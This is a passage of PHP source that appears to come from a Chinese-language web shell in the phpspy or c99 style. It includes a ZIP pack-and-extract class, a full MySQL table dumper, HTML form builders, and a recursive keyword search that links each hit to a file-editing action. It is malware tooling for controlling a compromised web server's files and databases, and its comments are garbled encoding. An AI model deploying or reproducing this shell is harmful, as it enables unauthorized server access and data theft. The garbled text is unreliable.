else $centd['comment'] = ''; $centd['entries'] = $data['entries'];
|
||
$centd['disk_entries'] = $data['disk_entries'];
|
||
$centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start'];
|
||
$centd['size'] = $data['size']; $centd['disk'] = $data['disk'];
|
||
return $centd;
|
||
}
|
||
function ReadCentralFileHeaders($zip){
|
||
$binary_data = fread($zip, 46);
|
||
$header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);
|
||
if ($header['filename_len'] != 0)
|
||
$header['filename'] = fread($zip,$header['filename_len']);
|
||
else $header['filename'] = '';
|
||
if ($header['extra_len'] != 0)
|
||
$header['extra'] = fread($zip, $header['extra_len']);
|
||
else $header['extra'] = '';
|
||
if ($header['comment_len'] != 0)
|
||
$header['comment'] = fread($zip, $header['comment_len']);
|
||
else $header['comment'] = '';
|
||
if ($header['mdate'] && $header['mtime'])
|
||
{
|
||
$hour = ($header['mtime'] & 0xF800) >> 11;
|
||
$minute = ($header['mtime'] & 0x07E0) >> 5;
|
||
$seconde = ($header['mtime'] & 0x001F)*2;
|
||
$year = (($header['mdate'] & 0xFE00) >> 9) + 1980;
|
||
$month = ($header['mdate'] & 0x01E0) >> 5;
|
||
$day = $header['mdate'] & 0x001F;
|
||
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
|
||
} else {
|
||
$header['mtime'] = time();
|
||
}
|
||
$header['stored_filename'] = $header['filename'];
|
||
$header['status'] = 'ok';
|
||
if (substr($header['filename'], -1) == '/')
|
||
$header['external'] = 0x41FF0010;
|
||
return $header;
|
||
}
|
||
function add_dir($name)
|
||
{
|
||
$name = str_replace("\\", "/", $name);
|
||
$fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||
$fr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) );
|
||
$fr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0);
|
||
$this -> datasec[] = $fr;
|
||
$new_offset = strlen(implode("", $this->datasec));
|
||
$cdrec = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||
$cdrec .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) );
|
||
$cdrec .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 );
|
||
$ext = "\xff\xff\xff\xff";
|
||
$cdrec .= pack("V", 16 ).pack("V", $this -> old_offset ).$name;
|
||
$this -> ctrl_dir[] = $cdrec;
|
||
$this -> old_offset = $new_offset;
|
||
$this -> dirs[] = $name;
|
||
}
|
||
function get_List($zip_name)
|
||
{
|
||
$zip = @fopen($zip_name, 'rb');
|
||
if(!$zip) return(0);
|
||
$centd = $this->ReadCentralDir($zip,$zip_name);
|
||
@rewind($zip);
|
||
@fseek($zip, $centd['offset']);
|
||
for ($i=0; $i<$centd['entries']; $i++)
|
||
{
|
||
$header = $this->ReadCentralFileHeaders($zip);
|
||
$header['index'] = $i;$info['filename'] = $header['filename'];
|
||
$info['stored_filename'] = $header['stored_filename'];
|
||
$info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size'];
|
||
$info['crc'] = strtoupper(dechex( $header['crc'] ));
|
||
$info['mtime'] = $header['mtime']; $info['comment'] = $header['comment'];
|
||
$info['folder'] = ($header['external']==0x41FF0010||$header['external']==16)?1:0;
|
||
$info['index'] = $header['index'];$info['status'] = $header['status'];
|
||
$ret[]=$info; unset($header);
|
||
}
|
||
return $ret;
|
||
}
|
||
function add_File($data, $name, $compact = 1)
|
||
{
|
||
$name = str_replace('\\', '/', $name);
|
||
$dtime = dechex($this->DosTime());
|
||
$hexdtime = '\x' . $dtime[6] . $dtime[7].'\x'.$dtime[4] . $dtime[5]
|
||
. '\x' . $dtime[2] . $dtime[3].'\x'.$dtime[0].$dtime[1];
|
||
eval('$hexdtime = "' . $hexdtime . '";');
|
||
if($compact)
|
||
$fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime;
|
||
else $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00".$hexdtime;
|
||
$unc_len = strlen($data); $crc = crc32($data);
|
||
if($compact){
|
||
$zdata = gzcompress($data); $c_len = strlen($zdata);
|
||
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
|
||
}else{
|
||
$zdata = $data;
|
||
}
|
||
$c_len=strlen($zdata);
|
||
$fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
|
||
$fr .= pack('v', strlen($name)).pack('v', 0).$name.$zdata;
|
||
$fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
|
||
$this -> datasec[] = $fr;
|
||
$new_offset = strlen(implode('', $this->datasec));
|
||
if($compact)
|
||
$cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00";
|
||
else $cdrec = "\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00";
|
||
$cdrec .= $hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
|
||
$cdrec .= pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 );
|
||
$cdrec .= pack('v', 0 ).pack('v', 0 ).pack('V', 32 );
|
||
$cdrec .= pack('V', $this -> old_offset );
|
||
$this -> old_offset = $new_offset;
|
||
$cdrec .= $name;
|
||
$this -> ctrl_dir[] = $cdrec;
|
||
return true;
|
||
}
|
||
|
||
function DosTime() {
|
||
$timearray = getdate();
|
||
if ($timearray['year'] < 1980) {
|
||
$timearray['year'] = 1980; $timearray['mon'] = 1;
|
||
$timearray['mday'] = 1; $timearray['hours'] = 0;
|
||
$timearray['minutes'] = 0; $timearray['seconds'] = 0;
|
||
}
|
||
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) |
|
||
($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
|
||
}
|
||
function Extract ( $zn, $to, $index = Array(-1) )
|
||
{
|
||
$ok = 0; $zip = @fopen($zn,'rb');
|
||
if(!$zip) return(-1);
|
||
$cdir = $this->ReadCentralDir($zip,$zn);
|
||
$pos_entry = $cdir['offset'];
|
||
|
||
if(!is_array($index)){ $index = array($index); }
|
||
for($i=0; $index[$i];$i++){
|
||
if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries'])
|
||
return(-1);
|
||
}
|
||
|
||
for ($i=0; $i<$cdir['entries']; $i++)
|
||
{
|
||
@fseek($zip, $pos_entry);
|
||
$header = $this->ReadCentralFileHeaders($zip);
|
||
$header['index'] = $i; $pos_entry = ftell($zip);
|
||
@rewind($zip); fseek($zip, $header['offset']);
|
||
if(in_array("-1",$index)||in_array($i,$index))
|
||
$stat[$header['filename']]=$this->ExtractFile($header, $to, $zip);
|
||
|
||
}
|
||
fclose($zip);
|
||
return $stat;
|
||
}
|
||
function ExtractFile($header,$to,$zip)
|
||
{
|
||
$header = $this->readfileheader($zip);
|
||
|
||
if(substr($to,-1)!="/") $to.="/";
|
||
if(!@is_dir($to)) @mkdir($to,0777);
|
||
|
||
$pth = explode("/",dirname($header['filename']));
|
||
for($i=0;isset($pth[$i]);$i++){
|
||
if(!$pth[$i]) continue;$pthss.=$pth[$i]."/";
|
||
if(!is_dir($to.$pthss)) @mkdir($to.$pthss,0777);
|
||
}
|
||
if (!($header['external']==0x41FF0010)&&!($header['external']==16))
|
||
{
|
||
if ($header['compression']==0)
|
||
{
|
||
$fp = @fopen($to.$header['filename'], 'wb');
|
||
if(!$fp) return(-1);
|
||
$size = $header['compressed_size'];
|
||
|
||
while ($size != 0)
|
||
{
|
||
$read_size = ($size < 2048 ? $size : 2048);
|
||
$buffer = fread($zip, $read_size);
|
||
$binary_data = pack('a'.$read_size, $buffer);
|
||
@fwrite($fp, $binary_data, $read_size);
|
||
$size -= $read_size;
|
||
}
|
||
fclose($fp);
|
||
touch($to.$header['filename'], $header['mtime']);
|
||
|
||
}else{
|
||
$fp = @fopen($to.$header['filename'].'.gz','wb');
|
||
if(!$fp) return(-1);
|
||
$binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
|
||
Chr(0x00), time(), Chr(0x00), Chr(3));
|
||
|
||
fwrite($fp, $binary_data, 10);
|
||
$size = $header['compressed_size'];
|
||
|
||
while ($size != 0)
|
||
{
|
||
$read_size = ($size < 1024 ? $size : 1024);
|
||
$buffer = fread($zip, $read_size);
|
||
$binary_data = pack('a'.$read_size, $buffer);
|
||
@fwrite($fp, $binary_data, $read_size);
|
||
$size -= $read_size;
|
||
}
|
||
|
||
$binary_data = pack('VV', $header['crc'], $header['size']);
|
||
fwrite($fp, $binary_data,8); fclose($fp);
|
||
|
||
$gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress<73>e");
|
||
if(!$gzp) return(-2);
|
||
$fp = @fopen($to.$header['filename'],'wb');
|
||
if(!$fp) return(-1);
|
||
$size = $header['size'];
|
||
|
||
while ($size != 0)
|
||
{
|
||
$read_size = ($size < 2048 ? $size : 2048);
|
||
$buffer = gzread($gzp, $read_size);
|
||
$binary_data = pack('a'.$read_size, $buffer);
|
||
@fwrite($fp, $binary_data, $read_size);
|
||
$size -= $read_size;
|
||
}
|
||
fclose($fp); gzclose($gzp);
|
||
|
||
touch($to.$header['filename'], $header['mtime']);
|
||
@unlink($to.$header['filename'].'.gz');
|
||
|
||
}}
|
||
return true;
|
||
}
|
||
function ReadFileHeader($zip)
|
||
{
|
||
$binary_data = fread($zip, 30);
|
||
$data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);
|
||
|
||
$header['filename'] = fread($zip, $data['filename_len']);
|
||
if ($data['extra_len'] != 0) {
|
||
$header['extra'] = fread($zip, $data['extra_len']);
|
||
} else { $header['extra'] = ''; }
|
||
|
||
$header['compression'] = $data['compression'];$header['size'] = $data['size'];
|
||
$header['compressed_size'] = $data['compressed_size'];
|
||
$header['crc'] = $data['crc']; $header['flag'] = $data['flag'];
|
||
$header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime'];
|
||
|
||
if ($header['mdate'] && $header['mtime']){
|
||
$hour=($header['mtime']&0xF800)>>11;$minute=($header['mtime']&0x07E0)>>5;
|
||
$seconde=($header['mtime']&0x001F)*2;$year=(($header['mdate']&0xFE00)>>9)+1980;
|
||
$month=($header['mdate']&0x01E0)>>5;$day=$header['mdate']&0x001F;
|
||
$header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
|
||
}else{$header['mtime'] = time();}
|
||
|
||
$header['stored_filename'] = $header['filename'];
|
||
$header['status'] = "ok";
|
||
return $header;
|
||
}
|
||
}
|
||
|
||
function addziparray($dir2) //<2F><><EFBFBD><EFBFBD>ZIP<49>ļ<EFBFBD>
|
||
{
|
||
global $dir,$zipfilearray;
|
||
@$dirs=opendir($dir."/".$dir2);
|
||
while (@$file=readdir($dirs)) {
|
||
if(!is_dir("$dir/$dir2/$file")) {
|
||
$zipfilearray[]="$dir2/$file";
|
||
}
|
||
elseif($file!="."&&$file!="..") {
|
||
addziparray("$dir2/$file");
|
||
}
|
||
}
|
||
@closedir($dirs);
|
||
}
|
||
function hlinK($str=""){
|
||
$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
|
||
$ret=$_SERVER['PHP_SELF']."?";
|
||
$new=explode("&",$str);
|
||
foreach ($_GET as $key => $v){
|
||
$add=1;
|
||
foreach($new as $m){
|
||
$el = explode("=", $m);
|
||
if ($el[0]==$key)$add=0;
|
||
}
|
||
if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
|
||
}
|
||
$ret.=$str;
|
||
return $ret;
|
||
}
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>
|
||
function sqldumptable($table, $fp=0) {
|
||
$tabledump = "DROP TABLE IF EXISTS $table;\n";
|
||
$tabledump .= "CREATE TABLE $table (\n";
|
||
|
||
$firstfield=1;
|
||
|
||
$fields = mysql_query("SHOW FIELDS FROM $table");
|
||
while ($field = mysql_fetch_array($fields)) {
|
||
if (!$firstfield) {
|
||
$tabledump .= ",\n";
|
||
} else {
|
||
$firstfield=0;
|
||
}
|
||
$tabledump .= " $field[Field] $field[Type]";
|
||
if (!empty($field["Default"])) {
|
||
$tabledump .= " DEFAULT '$field[Default]'";
|
||
}
|
||
if ($field['Null'] != "YES") {
|
||
$tabledump .= " NOT NULL";
|
||
}
|
||
if ($field['Extra'] != "") {
|
||
$tabledump .= " $field[Extra]";
|
||
}
|
||
}
|
||
mysql_free_result($fields);
|
||
|
||
$keys = mysql_query("SHOW KEYS FROM $table");
|
||
while ($key = mysql_fetch_array($keys)) {
|
||
$kname=$key['Key_name'];
|
||
if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
|
||
$kname="UNIQUE|$kname";
|
||
}
|
||
if(!is_array($index[$kname])) {
|
||
$index[$kname] = array();
|
||
}
|
||
$index[$kname][] = $key['Column_name'];
|
||
}
|
||
mysql_free_result($keys);
|
||
|
||
while(list($kname, $columns) = @each($index)) {
|
||
$tabledump .= ",\n";
|
||
$colnames=implode($columns,",");
|
||
|
||
if ($kname == "PRIMARY") {
|
||
$tabledump .= " PRIMARY KEY ($colnames)";
|
||
} else {
|
||
if (substr($kname,0,6) == "UNIQUE") {
|
||
$kname=substr($kname,7);
|
||
}
|
||
$tabledump .= " KEY $kname ($colnames)";
|
||
}
|
||
}
|
||
|
||
$tabledump .= "\n);\n\n";
|
||
if ($fp) {
|
||
fwrite($fp,$tabledump);
|
||
} else {
|
||
echo $tabledump;
|
||
}
|
||
|
||
$rows = mysql_query("SELECT * FROM $table");
|
||
$numfields = mysql_num_fields($rows);
|
||
while ($row = mysql_fetch_array($rows)) {
|
||
$tabledump = "INSERT INTO $table VALUES(";
|
||
|
||
$fieldcounter=-1;
|
||
$firstfield=1;
|
||
while (++$fieldcounter<$numfields) {
|
||
if (!$firstfield) {
|
||
$tabledump.=", ";
|
||
} else {
|
||
$firstfield=0;
|
||
}
|
||
|
||
if (!isset($row[$fieldcounter])) {
|
||
$tabledump .= "NULL";
|
||
} else {
|
||
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
|
||
}
|
||
}
|
||
|
||
$tabledump .= ");\n";
|
||
|
||
if ($fp) {
|
||
fwrite($fp,$tabledump);
|
||
} else {
|
||
echo $tabledump;
|
||
}
|
||
}
|
||
mysql_free_result($rows);
|
||
}
|
||
|
||
class FORMS {
|
||
function tableheader() {
|
||
echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
|
||
}
|
||
|
||
function headerform($arg=array()) {
|
||
global $dir;
|
||
if ($arg[enctype]){
|
||
$enctype="enctype=\"$arg[enctype]\"";
|
||
} else {
|
||
$enctype="";
|
||
}
|
||
if (!isset($arg[method])) {
|
||
$arg[method] = "POST";
|
||
}
|
||
if (!isset($arg[action])) {
|
||
$arg[action] = '';
|
||
}
|
||
echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
|
||
echo " <tr>\n";
|
||
echo " <td>".$arg[content]."</td>\n";
|
||
echo " </tr>\n";
|
||
echo " </form>\n";
|
||
}
|
||
|
||
function tdheader($title) {
|
||
global $dir;
|
||
echo " <tr class=\"firstalt\">\n";
|
||
echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"><3E><><EFBFBD><EFBFBD></a>]</b></td>\n";
|
||
echo " </tr>\n";
|
||
}
|
||
|
||
function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
|
||
if ($bgcolor=='2') {
|
||
$css="secondalt";
|
||
} elseif ($bgcolor=='1') {
|
||
$css="firstalt";
|
||
} else {
|
||
$css=$bgcolor;
|
||
}
|
||
$height = empty($height) ? "" : " height=".$height;
|
||
$colspan = empty($colspan) ? "" : " colspan=".$colspan;
|
||
echo " <tr class=\"".$css."\">\n";
|
||
echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
|
||
echo " </tr>\n";
|
||
}
|
||
|
||
function tablefooter() {
|
||
echo "</table>\n";
|
||
}
|
||
|
||
function formheader($action='',$title,$target='') {
|
||
global $dir;
|
||
$target = empty($target) ? "" : " target=\"".$target."\"";
|
||
echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
|
||
echo " <tr class=\"firstalt\">\n";
|
||
echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"><3E><><EFBFBD><EFBFBD></a>]</b></td>\n";
|
||
echo " </tr>\n";
|
||
}
|
||
|
||
function makehidden($name,$value=''){
|
||
echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
|
||
}
|
||
|
||
function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
|
||
$css = ($css == 'input') ? " class=\"input\"" : "";
|
||
$input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
|
||
return $input;
|
||
}
|
||
|
||
function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
|
||
$textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
|
||
return $textarea;
|
||
}
|
||
|
||
function formfooter($over='',$height=''){
|
||
$height = empty($height) ? "" : " height=\"".$height."\"";
|
||
echo " <tr class=\"secondalt\">\n";
|
||
echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"ȷ<><C8B7>\"></td>\n";
|
||
echo " </tr>\n";
|
||
echo " </form>\n";
|
||
echo $end = empty($over) ? "" : "</table>\n";
|
||
}
|
||
|
||
function makeselect($arg = array()){
|
||
if ($arg[multiple]==1) {
|
||
$multiple = " multiple";
|
||
if ($arg[size]>0) {
|
||
$size = "size=$arg[size]";
|
||
}
|
||
}
|
||
if ($arg[css]==0) {
|
||
$css = "class=\"input\"";
|
||
}
|
||
$select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
|
||
if (is_array($arg[option])) {
|
||
foreach ($arg[option] AS $key=>$value) {
|
||
if (!is_array($arg[selected])) {
|
||
if ($arg[selected]==$key) {
|
||
$select .= "<option value=\"$key\" selected>$value</option>\n";
|
||
} else {
|
||
$select .= "<option value=\"$key\">$value</option>\n";
|
||
}
|
||
|
||
} elseif (is_array($arg[selected])) {
|
||
if ($arg[selected][$key]==1) {
|
||
$select .= "<option value=\"$key\" selected>$value</option>\n";
|
||
} else {
|
||
$select .= "<option value=\"$key\">$value</option>\n";
|
||
}
|
||
}
|
||
}
|
||
}
|
||
$select .= "</select>\n";
|
||
return $select;
|
||
}
|
||
}
|
||
|
||
function find($path) //<2F><><EFBFBD>ҹؼ<D2B9><D8BC><EFBFBD>
|
||
{
|
||
global $oldkey,$type,$type2,$endline,$beline;
|
||
if(is_dir("$path")){
|
||
$tempdir=opendir("$path");
|
||
while($f=readdir($tempdir)){ if($f=="."||$f=="..")continue; find("$path/$f");}
|
||
closedir($tempdir);
|
||
}else{
|
||
if(filesize("$path")){
|
||
$fp=fopen("$path","r");
|
||
$msg=fread($fp, filesize("$path"));
|
||
fclose($fp);
|
||
if(strpos($msg, $oldkey) !== false) {
|
||
$dir = dirname($path);
|
||
$file = basename($path);
|
||
if($type=="list"){
|
||
$mymsg = explode("\n",$msg);
|
||
$long = count($mymsg);
|
||
$tmp = explode($oldkey,$msg);
|
||
$tmp = explode("\n",$tmp[0]);
|
||
$first = count($tmp);
|
||
$end = "[".$first."/".$long."]";
|
||
}
|
||
if($type2=="getpath"){
|
||
$get = explode($oldkey,$msg);
|
||
$get = strlen($get[0]);
|
||
if(isset($beline)){
|
||
$get = $get-$beline;
|
||
}
|
||
$getpath = htmlspecialchars(substr($msg, $get, $endline));
|
||
$getpath = "title = \"".$getpath."\"";
|
||
}
|
||
echo "<span class=\"redfont\" $getpath><3E>ҵ<EFBFBD>:$dir/$file</span> |<a href=\"?action=editfile&dir=$dir&editfile=$file\" target=\"_blank\">view+edit</a> | $end <br>";
|
||
}
|
||
}
|
||
}
|
||
}?> |